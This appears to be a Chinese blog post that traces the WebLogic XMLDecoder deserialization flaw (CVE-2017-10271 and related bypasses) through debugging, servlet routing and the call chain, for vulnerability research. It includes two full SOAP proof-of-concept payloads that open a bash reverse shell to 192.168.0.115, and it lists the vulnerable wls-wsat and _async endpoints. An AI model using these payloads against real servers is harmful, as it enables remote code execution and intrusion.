zoukankan      html  css  js  c++  java
  • Weblogic XMLDecoder 漏洞触发链分析

    跟进近几年weblogic漏洞分析与利用技术,进一步填补自己在Java分析技术方面的空白,本文分析近几年weblogic爆出的经典漏洞,以及调试环境。

    0x01 Weblogic 介绍

    Weblogic是一种web服务器,在很多中小型项目中广泛使用,和tomcat一样是一种web容器,是一个基于j2ee架构的中间件。BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。近年来weblogic不断爆出了各种反序列化漏洞及补丁绕过漏洞,我也对最近的Weblogic漏洞进行分析和利用。

    0x1 漏洞概述

    CVE-2017-3506/ CVE-2017-10271/CVE-2019-2725/CVE-2019-2729是同一个漏洞的一系列绕过(这几个漏洞的触发过程完全一样,以为本文主要介绍触发链所以任选其一),本篇主要介绍CVE-2017-10271的漏洞触发过程,反序列化部分及漏洞补丁绕过方法在其他文章中单独分析。

    1.png

    0x2 分析内容

    重点分析解决在漏洞调试过中的难点

    2.png

    一般分析WebLogic的博客没有介绍WebLogic Servlet/Webservices机制,本篇通过路由分析Servlet调用机制,寻找漏洞点,完成漏洞利用链。

    0x02 漏洞环境搭建

    为了方便各种漏洞调试工作,分两种情况搭建调试环境,本地和远程。分别描述这两种的搭建细节及注意点。Weblogic利用docker容器搭建https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271

    Docker你应该会玩:http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015050611535100001 点击链接去玩吧

    3.jpg

    0x1 本地调试环境

    在本地安装并调试weblogic服务

    Step 1 安装Weblogic

    去官网下载相对应版本的Weblogic

    4.png

    Step 2 配置项目信息

    微信图片_20200313112650.png

    添加Weblogic服务,把安装好的weblogic目录放在Application Server那一栏,并且输入安装时设定的用户名和密码。点击确定

    Step 3 运行项目

    6.png

    点击运行按钮运行项目,成功后会出现上述页面。

    0x2 远程调试环境

    以docker虚拟环境为基础调试环境,利用客户端调试器连接部署在docker容器上的WebLogic服务。

    Step 1 打开WebLogic远程调试

    vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

    7.jpg

    重启docker容器

    Step 2 下载项目代码

    远程调试同样也需要代码而且最好和服务器上的代码相同,我们从docker容器中将项目代码拷贝出来

    docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars

    同时将相同目录下modules目录拷出

    Step 3 配置idea调试器

    打开右上角 Edit Configuratoins

    8.jpg

    Step 4 添加库

    若想调试jar或war包中的内容需要把对应的jar包添加到Libraries中,右键相对应的模块代码出现下图,点击添加即可。

    9.png

    添加库后的jar包和war包可以看其中反编译后的代码

    0.png

    0x03 漏洞调试分析

    学习了网上好几篇分析文档,没有说明从一开始的web请求到漏洞触发的全过程,一般只分析了后面从servlet开始部分,而对前面寻找servlet的过程没有分析,为了更好的了解漏洞是怎么形成的,先从CVE-2017-10271开始分析,一步步寻找函数调用链,为心中的问题答疑解惑。

    0x1 测试poc

    利用网上公开的poc测试weblogic服务

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

    <java version="1.4.0" class="java.beans.XMLDecoder">

    <void class="java.lang.ProcessBuilder">

    <array class="java.lang.String" length="3">

    <void index="0">

    <string>/bin/bash</string>

    </void>

    <void index="1">

    <string>-c</string>

    </void>

    <void index="2">

    <string>bash -i &gt;&amp; /dev/tcp/192.168.0.115/31 0&gt;&amp;1</string>

    </void>

    </array>

    <void method="start"/></void>

    </java>

    </work:WorkContext>

    </soapenv:Header>

    <soapenv:Body/>

    </soapenv:Envelope>

    11.jpg

    通过观察调用栈可以轻松的下断点进行调试。

    0x2 漏洞初步调试

    第二步利用poc的调用栈将断点下在比较深的位置WorkContextXmlInputAdapter的readUTF函数,并根据poc跟踪触发过程。

    12.png
    13.jpg

    参数var1是post请求内容,利用this.readHeaderOld读取post中的主题部分,继续往下跟进。

    14.jpg

    var4变量是从post stream中读取的主体部分,也是soap协议要解析的内容。这部分代码的最后接着把xml内容封装成类继续向下传递。

    下面的调用代码比较短小,放在一起查看调用链。这个点很关键WorkContextMapInterceptor的receiveRequest方法,这是不同servlet调用漏洞点的最小单元,换个说法一旦有servlet调用这个类的方法就有可能触发漏洞。

    15.png

    16.png

    17.png

    11111.png

    18.png

    最后在这里触发反序列化,将xml中的内容解析成了对象,并执行其中的恶意代码。

    0x3 调试中思考的问题

    1.漏洞产生的原因及位置

    2.url对应的路由问题

    3.完整触发过程是怎么样的

    漏洞产生的原因及位置

    网上绝大部分文章说漏洞产生的原因是Weblogic的WLS Security组件产生了问题,存在问题的组件有wls-wsat.war和bea_wls9_async_response.war。这么说来漏洞位置在组件中了?并不是想象中的那样,具体来说漏洞产生在组件的路由中。我们先看一下其中的一个组件

    19.jpg

    标准的web.xml url与servlet对应关系,打开其中一个servlet-class我们可以看到使用了webService 解析soap请求并且绑定了处理协议的路由。

    20.png

    所以就可以这么说,漏洞并不在组件中,而在于servlet请求处理中,所以只要能出发该servlet并带有poc代码就可以触发漏洞,这个结论才是对的。还记得在上个小节中的关键类WorkContextMapInterceptor的receiveRequest方法吗?我们找到了其他的触发路由都调用了该方法进行处理soap内容

    /wls-wsat/RegistrationPortTypeRPC

    /wls-wsat/CoordinatorPortType

    /wls-wsat/ParticipantPortType

    /wls-wsat/RegistrationRequesterPortType

    /wls-wsat/CoordinatorPortType11

    /wls-wsat/RegistrationPortTypeRPC11

    /wls-wsat/ParticipantPortType11

    /wls-wsat/RegistrationRequesterPortType11

    /_async/AsyncResponseServiceJms

    /_async/AsyncResponseService

    /_async/AsyncResponseServiceHttps

    那么从项目中发现了大量可以触发漏洞的路由。_async属于bea_wls9_async_response.war中的路由,触发代码也和wls不同,poc如下

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">

        <soapenv:Header>

            <wsa:Action>xx</wsa:Action>

            <wsa:RelatesTo>xx</wsa:RelatesTo>

            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

                <java version="1.8.0_131" class="java.beans.xmlDecoder">

                    <void class="java.lang.ProcessBuilder">

                        <array class="java.lang.String" length="3">

                            <void index="0">

                                <string>bash</string>

                            </void>

                            <void index="1">

                                <string>-c</string>

                            </void>

                            <void index="2">

                                <string>bash -i &gt;&amp; /dev/tcp/192.168.0.115/31 0&gt;&amp;1</string>

                            </void>

                        </array>

                        <void method="start"/></void>

                </java>

            </work:WorkContext>

        </soapenv:Header>

        <soapenv:Body>

            <asy:onAsyncDelivery/>

        </soapenv:Body>

    </soapenv:Envelope>

    将两个的调用栈放在一起对比可以看出一个关键的函数

    21.jpg

    由以上可以看出漏洞出现在解析xml的函数上,触发在servlet路由上,所以找到使用WorkContextMapInterceptor的servlet就可以触发漏洞。

    url对应的路由问题

    在调试的时候心中有个问题,url和JAXWSServlet/BaseWSServlet是怎么对应上的。理解这个问题先要看*Servlet是怎么出来的。

    22.jpg

    因为这一块不是分析重点所以简化描述过程,在StandardURLMapping的getExactOrPathMatch方法有个根据url寻找Object,首先会在matchMap中寻找一遍,找到之后就把值给var4,接着传递给var5,就会完成一次servlet查找

    23.png

    将url按照/进行分批查找,例如/wls-wsat/RegistrationPortTypeRPC,会首先查找wls-wsat这个war包,然后第二次匹配包中的RegistrationPortTypeRPC类,如下图所示

    24.jpg

    分析到这心中又出现了一个问题,最终生成的是 JAXWSWebAppServlet 而不是JAXWSServlet这是为什么呢?其实通过代码可以找到答案

    25.png

    26.jpg

    JAXWSWebAppServlet是JAXWSServlet的子类,在子类调用自身不存在的方法时就会从父类中寻找并调用。

    完整触发过程是怎么样的

    完整的触发过程自然的分为两步,servlet生成和servlet调用,通过weblogic.kernel中的线程生成对应的servlet,如下表

    url servlet

    /_async/AsyncResponseServiceHttps WebappWSServlet

    /wls-wsat/RegistrationRequesterPortType11 JAXWSWebAppServlet

    接着会把函数栈清空,然后调用weblogic.work线程执行servlet,从而触发在servlet中解析soap请求的xmlDecoder.readObject函数。具体过程如下图:

    27.jpg

    包含payload的InputStream如下图:

    28.png

    0x04 总结

    通过此次漏洞调试掌握了以下内容

    1.weblogic框架调试以及intellij Idea调试技巧

    2.weblogic servlet初步分析

    3.输入数据流追踪技术&漏洞触发过程分析

    还有接下来要做的事情

    29.png

    点击进行实验

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    2.变量
    1.注释
    MyEclipse使用教程:使用DevStyle增强型启动
    DevExpress WPF v19.1新版亮点:Data Editors等控件新功能
    测试工具Telerik Test Studio发布R2 2019|支持VS 2019
    MyEclipse使用教程:使用主题自定义工作台外观
    DevExpress WPF v19.1:Data Grid/Tree List等控件功能增强
    知名界面类控件Kendo UI for jQuery R2 2019 SP1发布|附下载
    MyEclipse使用教程:unattended安装
    跨平台开发框架DevExtreme v19.1.4正式发布|附下载
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15206481.html
Copyright © 2011-2022 走看看